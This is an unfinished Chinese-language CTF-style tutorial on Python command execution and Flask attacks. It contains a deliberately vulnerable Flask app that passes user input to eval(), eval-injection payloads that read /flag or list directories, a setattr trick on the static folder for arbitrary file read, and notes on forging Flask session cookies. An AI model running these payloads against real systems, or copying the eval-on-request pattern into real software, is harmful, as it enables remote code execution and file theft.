python的rce姿势以及内存马注入(未补完)

python的SSTI是明白的,可是如果是先渲染再接受参数呢?只传参不渲染又该如何面对呢

诶,注入一个内存马试试.?

Python 的命令执行

不同于php自带的命令执行函数,python是要先引入模块的,参考jinja2模板注入找os内置函数的那个过程

OS模块

经典款:

os.system:

可以用来执行系统命令,但是无法将系统命令执行的结果返回.如果执行成功了会返回0,失败了会返回1

import os
os.system('dir')  //输出目录结构
print(os.system('dir'))  //输出目录结构,下一行输出0

os.popen:

可以用来将系统命令执行的结构存储到一个管道文件中(什么是管道文件?个人理解是类似php中的phar这种).然后可以通过read方法来将管道文件的内容返回

import os
out=os.popen('dir')
print(out.read())

subprocess模块

可以认为subprocess是os模块的安全版

subprocess.run:

基本是subprocess中最常用的模块,包含下列参数

subprocess.run(args, *, stdin=None, input=None, stdout=None, stderr=None, capture_output=False, shell=False, cwd=None, timeout=None, check=False, encoding=None, errors=None, text=None, env=None, universal_newlines=None)

1.唯一一个必须要有的参数,为一个字符串列表/字符串,其中第一个值是一个应用程序,后面的则是传递的参数
import subprocess
out=subprocess.run(["calc.exe","-p"],capture_output=True,text=True)
print(out.stdout)

这也是我们常说的弹计算器命令,但是需要注意,由于windows并不是像linux那样由纯文件组成,所以这里的列表中无法直接使用dir命令如["dir"](本质上这个dir是传递给windows.cmd的一个参数,但是这个windows.cmd程序的位置找不到)


2.shell=True,默认为false

用于控制是否允许在第一个参数处直接使用shell命令的,开启后则可以不使列表而是以字符串形式直接使用,如:

import subprocess
out=subprocess.run("dir",shell=True,capture_output=True,text=True)
print(out.stdout)

复现效果:

image-20250325184321691

image-20250325184555941


3.stdin,stdout,stderr,默认为false

这三个参数用来设置输入,输出和错误信息为管道对象或是类文件对象,这里不常用.


4.capture_output=true,默认为false

用于捕获stdout和stderr时期不会输出到终端而是作为一个对象来返回.


5.text=true,默认为false

默认状态下返回的数据为字节流,而text=true可以使得返回的数据为字符串而不是字节流,不用人手动转换.


6.encoding='utf-8'

如果指定了参数,则stdin,stdout,stderr可以接受该类型的数据,否则默认为字节流.可以认为是text=true的一个手动选择版


7.timeout

设置命令超时时间.如果命令执行时间超时,子进程将被杀死,并弹出 TimeoutExpired异常.


8.check=true

如果该参数设置为True,并且进程退出状态码不是0,则弹出CalledProcessError异常.

subprocess.Popen

是subprocess方法的核心,可用于实现更为复杂的功能

具体介绍就不给了,给两个大佬的博客自己选择着看看把(

Python之subprocess模块 - 卿先生 - 博客园

python中的subprocess.Popen()、PIPE使用详解 - 平行时空的旅者 - 博客园

直接开始本地复现

import  subprocess
p = subprocess.Popen("dir", shell=True,encoding="utf-8")

在linux成功复现

image-20250325191600985

反观windows(

image-20250325191725159

修了一下,是编码问题+一个stdout和stderr未重定向到PIPE的问题

修了一下成功读取

import  subprocess
p = subprocess.Popen("dir", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding="gbk")

stdout, stderr = p.communicate()

print(stdout)

image-20250325191538567

subprocess.getoutput

接收字符串格式的命令,执行命令并返回执行结果,其功能类似于os.popen(cmd).read()和commands.getoutput(cmd)。

用于执行系统命令,并将stdout和stderr直接捕获(不输出到终端)并以字符串形式返回

import os
import subprocess
out=subprocess.getoutput("dir") # 到这还没有输出
print(out) #到这才有的输出

subprocess.check_output

可以理解为subprocess.runsubprocess.getoutput的结合版.会将stdout捕获作为字符串返回,同时也可以像subprocess.run一样使用较为复杂的自定义功能.

import subprocess
out=subprocess.check_output("dir",shell=True,text=True)# 到这还没有输出
print(out) #到这才有的输出

subprocess.call() check_call()

subprocess.call() 为python3.5以前版本使用,与subprocess.run()用法基本一致,但call()返回的为命令结束码,无法获取更多信息,不推荐使用,现已被run()取代.
subprocess.check_call() call()的区别为,check_call()如果命令失败(即 returncode不为0)会主动抛出subprocess.CalledProcessError异常,使用subprocess.run(check=True)可取代subprocess.check_call().

send_file

是类似于render_templateredirect的一种用于前后端交互的方法,可以下载指定的文件.

import os
import subprocess
from flask import Flask, render_template, request, redirect, url_for,session, send_file, Response
app = Flask(__name__)
@app.route('/')
def index():
    return send_file('D:\\114514.docx')
if __name__=='__main__':
    app.run(debug=True, host="0.0.0.0",port=5000)

eval和exec

eval()和 exec()函数的功能是相似的,都可以执行一个字符串形式的 Python代码(代码以字符串的形式提供),相当于一个Python的解释器.二者不同之处在于,eval()执行完要返回结果,而exec()执行完不返回结果.

from flask import Flask, request, send_file
app = Flask(__name__)
@app.route('/')
def index():
    if not request.args.get("cmd"):
        return send_file("app.py")
    else:
        cmd=request.args.get("cmd")
        res=eval(cmd)
        return res
if __name__=='__main__':
    app.run(debug=True, host="0.0.0.0",port=5000)

payload:

?cmd=__import__("os").popen("ls%20/").read()
?cmd=__import__("subprocess").run("tac%20/flag", shell=True,
capture_output=True, encoding='utf-8').stdout
?cmd=__import__("subprocess").check_output("cat /flag",
shell=True).decode("utf-8")
?cmd=__import__("subprocess").getoutput("cat /flag")
?cmd=send_file("/flag")

这里面的__import__("os")一类的用法是用于动态导入模块的.

Flask RCE利用(内存马篇)

看过了python,但是flask和python又不是同一回事情,因为flask下有很多可供调用的函数,只能可以参考一点python的,但大多数时候是flask下特有的函数打的有问题(

static_folder 任意文件读取

flask在初始化的时候 会设置很多内部的属性

python
def __init__(
        self,
        import_name: str,
        static_url_path: str | None = None,
        static_folder: str | os.PathLike | None = "static",
        static_host: str | None = None,
        host_matching: bool = False,
        subdomain_matching: bool = False,
        template_folder: str | os.PathLike | None = "templates",
        instance_path: str | None = None,
        instance_relative_config: bool = False,
        root_path: str | None = None,
    ):
    #还有一些其他的成员
self.config 用来存储配置  self.extensions 用来存储扩展的状态。
self.aborter 和 self.url_build_error_handlers 用来处理 HTTP 错误和 URL 构建错误。
self.teardown_appcontext_funcs 和 self.shell_context_processors 用来管理应用上下文和 shell 上下文。
self.blueprints 用来组织应用的模块化功能,self.url_map 管理路由规则。
self.url_map 储存了应用的路由信息
self.add_url_rule用来添加 URL 规则

注意到是这个

plaintext
static_url_path: str | None = None 指定静态文件的 URL 路径(即浏览器中访问静态文件的路径)
static_folder 指定静态文件所在的文件夹路径

如果我们修改了相关的值 就可能会造成任意文件读取

不过在参数传递的时候 不可以使用=给这些东西赋值 需要使用setattr这个给他们赋值

plaintext
setattr(app,'_static_folder','/')

路由注入

Flask RCE利用(debug篇)

一些辅助工作

一般会在一开始套个session 的验证

这里就要用到session伪造的芝士了,首先了解一下session罢

1)flask session 分析
flask对session的处理位于flask/sessions.py中,默认情况下flask的session以cookie的形式保存于客户端,利用签名机制来防止数据被篡改。

.eJwljrFuwzAMBf9FcwZSpkQyP2NQoh5aBGgBO5mC_HsNdLy75d5lx7HOr3J_Hq91K_t3lnuxGamDI6kmLPpa1TE0UKteyYSpJyaaVJ8hRGZDk7ZtLlEbpALjxjOc1SaZWzLSx-aB3p0djSta984kjXqMrQqrE3WhBMo18jrX8X_D9eJ5Htifv4_1cxltCgQ3V0zvIsGBjDAlGQsqNJEi08vnD15kP8Q.XxKIMg.iW96TDgIamKLQ0x9h5LoPsUCIvw
1
  • 通过.隔开的3段内容,第一段其实就是base64 encode后的内容,但去掉了填充用的等号,若decode失败,自己需要补上1-3个等号补全。中间内容为时间戳,在flask中时间戳若超过31天则视为无效。最后一段则是安全签名,将sessiondata,时间戳,和flask的secretkey通过sha1运算的结果。
json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息
1
  • 服务端每次收到cookie后,会将cookie中前两段取出和secretkey做sha1运算,若结果与cookie第三段不一致则视为无效。
  • 从cookie获取session的过程便是验证签名->验证是否过期->解码。

[参考文章]: https://blog.csdn.net/weixin_44190459/article/details/116774912 “flask框架漏洞”
[参考文章]: https://www.cnblogs.com/meraklbz/p/18260893 “python rce”